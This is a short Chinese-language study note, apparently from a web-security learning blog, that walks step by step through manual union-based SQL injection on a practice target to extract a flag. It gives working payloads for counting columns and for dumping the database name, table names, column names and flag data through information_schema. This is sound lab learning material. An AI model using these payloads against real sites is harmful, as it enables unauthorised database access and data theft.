sql手工注入练习拿flag
记录一下自己重新开始学习web安全之路⑤。
1、找注入点
①url ②搜索框 ③登录框
2、找交互点
用单引号判断是否存在交互点,发现回显不正常,说明url存在有交互点
3、判断类型(char类型)
利用and 1=1 和 and1=2,进行判断,当两次回显的页面是一样的,则说明是char类型
4、判断列数(order by)
输入语句?id=2’ order by 1#时,发现回显不正常。
这是因为注释符的原因,将注释符 # 改为 --+
利用二分法,判断列数为3列
5、查看回显位置(union 联合 select 查询)
?id=2’ and 1=2 union select 1,2,3–+
发现第二列,第三列有回显,第一列没有回显
6、查看数据库名称(message)
?id=2’ and 1=2 union select 1,database(),3–+
查询到数据库名称为message
7、查看数据表名称(flag、user,username)
?id=2’ and 1=2 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema = ‘message’–+
8、查看数据列名称(flag,user,username)
?id=2’ and 1=2 union select 1,group_concat(column_name),3 from information_schema.columns where table_schema = ‘message’ and table_name = ‘flag’–+
9、查看数据(flag,id)
?id=2’ and 1=2 union select 1,concat(id,‘—’,flag),3 from flag–+